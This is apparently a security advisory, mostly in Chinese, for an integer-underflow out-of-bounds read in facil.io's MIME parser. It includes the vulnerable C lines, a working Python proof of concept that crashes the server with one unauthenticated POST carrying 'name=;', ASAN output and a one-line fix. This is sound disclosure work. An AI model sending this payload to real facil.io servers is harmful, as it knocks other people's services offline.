
Security Advisory: Out-of-Bounds Read in facil.io MIME Parser leads to Server crash
指定 CVE ID CVE-2026-66729
产品: facil.io
受影响版本: facil.io >= 0.6.0(所有 0.6.x、所有 0.7.x、master);该问题随 0.6.0 中新增的 MIME 解析器引入
组件: lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-191(整数下溢)、CWE-125(越界读取)
CVSS v3.1: 7.5(AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
研究人员: Theodosis Paidakis
当 Content-Disposition 头包含空字段名(name=;)时,multipart MIME 主体解析器中的 uint32_t 下溢会导致越界读取。当 name_len 为零时,name[name_len - 1] 回绕为 name[0xFFFFFFFF],会读取 name 指针之后约 4 GB 的内存。这将触发错误并使服务器进程崩溃。仅需一个未经身份验证的 POST 请求即可触发。
lib/facil/http/parsers/http_mime_parser.h,第 235-241 行
// lib/facil/http/parsers/http_mime_parser.h:235-241
} else {
name_len = (size_t)(start - name); // line 239: = 0 when start == name (e.g. "name=;")
}
if (name[name_len - 1] == '"') // line 241: (uint32_t)0 - 1 = 0xFFFFFFFF -> OOB read
--name_len;
name_len 被声明为 uint32_t。当输入为 name=; 时,memchr 在 name 的同一位置找到 ;,因此 start - name = 0。零值的 uint32_t 减去 1 会回绕为 0xFFFFFFFF。表达式 name[0xFFFFFFFF] 计算得到 name_ptr + 4294967295,这远远超出任何已映射的内存区域。
第 236 行另一个分支中的检查(name[name_len - 1] == '\r')具有相同的模式,但那里的 name_len 是按 end - name 计算的,实际中不会为零。
启动服务器,然后运行:
# poc_mime_oob_read.py
import socket
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=;\r\n" # empty name before semicolon
"\r\n"
"value\r\n"
"--B--\r\n"
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.connect(("127.0.0.1", 3000))
s.sendall(req)
print(s.recv(4096)) # no response — server crashed
print('Check the server')
ASAN 输出(已确认):
AddressSanitizer: BUS at http_mime_parser.h:241
x[10] = 0x00000000FFFFFFFF
单个请求即可使工作进程崩溃。在多工作进程部署中,只有处理该请求的工作进程退出,主进程会重新生成它。在单工作进程模式下,服务器会离线。读取在返回数据之前即触发错误,因此未证实存在信息泄露。
lib/facil/http/parsers/http_mime_parser.h,第 241 行
// lib/facil/http/parsers/http_mime_parser.h:241 — add zero guard
if (name_len > 0 && name[name_len - 1] == '"')
--name_len;